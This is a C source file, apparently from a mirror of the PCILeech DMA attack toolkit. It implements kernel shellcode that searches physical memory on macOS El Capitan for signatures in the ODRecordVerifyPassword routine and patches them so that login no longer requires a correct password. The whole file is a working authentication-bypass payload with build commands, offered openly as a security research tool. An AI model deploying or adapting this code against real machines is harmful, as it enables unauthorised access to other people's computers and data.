mirror of
https://github.com/ufrisk/pcileech.git
synced 2026-05-10 23:57:59 +08:00
98 lines
4.1 KiB
C
98 lines
4.1 KiB
C
// macos_unlock.c : kernel code to remove the password requirement when logging on to macOS.
|
|
//
|
|
// (c) Ulf Frisk, 2016
|
|
// Author: Ulf Frisk, pcileech@frizk.net
|
|
//
|
|
// compile with:
|
|
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_common.c
|
|
// cl.exe /O1 /Os /Oy /FD /MT /GS- /J /GR- /FAcs /W4 /Zl /c /TC /kernel macos_unlock.c
|
|
// ml64.exe macos_common_a.asm /Femacos_unlock.exe /link /NODEFAULTLIB /RELEASE /MACHINE:X64 /entry:main macos_unlock.obj macos_common.obj
|
|
// shellcode64.exe -o macos_unlock.exe "APPLE macOS UNLOCKER - REMOVE PASSWORD REQUIREMENT! \n=================================================================\nREQUIRED OPTIONS: \n -0 : Set to one (1) in order to unlock. \n Example: '-0 1'. \n===== RESULT AFTER UNLOCK ATTEMPT (0=SUCCESS) ===================%s\nSTATUS : 0x%08X \n=================================================================\n"
|
|
//
|
|
#include "macos_common.h"
|
|
|
|
//----------------------------------------------------------------------------------------------------------
|
|
|
|
typedef struct tdSignatureChunk {
|
|
WORD cbOffset;
|
|
BYTE cb;
|
|
BYTE pb[8];
|
|
} SIGNATURE_CHUNK, *PSIGNATURE_CHUNK;
|
|
|
|
typedef struct tdSignature {
|
|
// in unlock mode:
|
|
// chunk[0] = signature chunk 1 (required)
|
|
// chunk[1] = signature chunk 2 (optional)
|
|
// chunk[2] = patch chunk (required)
|
|
SIGNATURE_CHUNK chunk[3];
|
|
} SIGNATURE, *PSIGNATURE;
|
|
|
|
//----------------------------------------------------------------------------------------------------------
|
|
|
|
BOOL Unlock_FindAndPatch(PKMDDATA pk, PBYTE pbPage, PSIGNATURE pSignatures, DWORD cSignatures)
|
|
{
|
|
BOOL result = FALSE;
|
|
DWORD i;
|
|
PSIGNATURE ps;
|
|
for(i = 0; i < cSignatures; i++) {
|
|
ps = pSignatures + i;
|
|
if(!ps->chunk[0].cb || SysVCall(pk->fn.memcmp, pbPage + ps->chunk[0].cbOffset, ps->chunk[0].pb, (QWORD)ps->chunk[0].cb)) {
|
|
continue;
|
|
}
|
|
if(ps->chunk[1].cb && SysVCall(pk->fn.memcmp, pbPage + ps->chunk[1].cbOffset, ps->chunk[1].pb, (QWORD)ps->chunk[1].cb)) {
|
|
continue;
|
|
}
|
|
SysVCall(pk->fn.memcpy, pbPage + ps->chunk[2].cbOffset, ps->chunk[2].pb, (QWORD)ps->chunk[2].cb);
|
|
result = TRUE;
|
|
}
|
|
return result;
|
|
}
|
|
|
|
#define NUMBER_OF_SIGNATURES 2
|
|
STATUS Unlock(PKMDDATA pk)
|
|
{
|
|
SIGNATURE oSigs[NUMBER_OF_SIGNATURES] = {
|
|
{ .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes)
|
|
{ .cbOffset = 0xfce,.cb = 6,.pb = { 0xe8, 0x69, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31 } },
|
|
{ .cbOffset = 0xfd3,.cb = 6,.pb = { 0xeb, 0x02, 0x31, 0xdb, 0x88, 0xd8, 0x48, 0x83 } },
|
|
{ .cbOffset = 0xfd7,.cb = 2,.pb = { 0xb0, 0x01 } } }
|
|
},
|
|
{ .chunk = { // CFOpenDirectory!ODRecordVerifyPassword (El Capitan | 466064 bytes)
|
|
{ .cbOffset = 0x134,.cb = 8,.pb = { 0x08, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf7, 0xe8 } },
|
|
{ .cbOffset = 0x13c,.cb = 8,.pb = { 0x3e, 0xc4, 0x00, 0x00, 0xeb, 0x02, 0x31, 0xdb } },
|
|
{ .cbOffset = 0x144,.cb = 2,.pb = { 0xb0, 0x01 } } }
|
|
},
|
|
};
|
|
PBYTE pbMemoryMap;
|
|
QWORD cbMemoryMap, qwBaseAddress, qwMemoryAddressMax, o;
|
|
BOOL result = FALSE;
|
|
// 1: Retrieve physical memory map
|
|
pbMemoryMap = (PBYTE)SysVCall(pk->fn.IOMalloc, 4096);
|
|
if(!pbMemoryMap) {
|
|
return STATUS_FAIL_OUTOFMEMORY;
|
|
}
|
|
if(!GetMemoryMap(pk, pbMemoryMap, &cbMemoryMap)) {
|
|
return STATUS_FAIL_MEMORYMAP_NOT_FOUND;
|
|
}
|
|
qwMemoryAddressMax = GetMemoryPhysicalMaxAddress(pbMemoryMap, cbMemoryMap);
|
|
// 2: Search for the memory signature and patch it.
|
|
for(qwBaseAddress = 0; qwBaseAddress < qwMemoryAddressMax; qwBaseAddress += 0x01000000) {
|
|
MapMemoryPhysical(pk, qwBaseAddress);
|
|
for(o = 0; o < 0x01000000; o += 0x1000) {
|
|
if(IsRangeInPhysicalMap(pbMemoryMap, cbMemoryMap, qwBaseAddress + o, 0x1000)) {
|
|
result = Unlock_FindAndPatch(pk, (PBYTE)(VM_MIN_PHYSICALMAPPING_ADDRESS + o), oSigs, NUMBER_OF_SIGNATURES) || result;
|
|
}
|
|
}
|
|
}
|
|
SysVCall(pk->fn.IOFree, pbMemoryMap, 4096);
|
|
return result ? STATUS_SUCCESS : STATUS_FAIL_SIGNATURE_NOT_FOUND;
|
|
}
|
|
|
|
VOID c_EntryPoint(PKMDDATA pk)
|
|
{
|
|
if(pk->dataIn[0] == 1) {
|
|
pk->dataOut[0] = Unlock(pk);
|
|
} else {
|
|
pk->dataOut[0] = STATUS_FAIL_INPPARAMS_BAD;
|
|
}
|
|
} |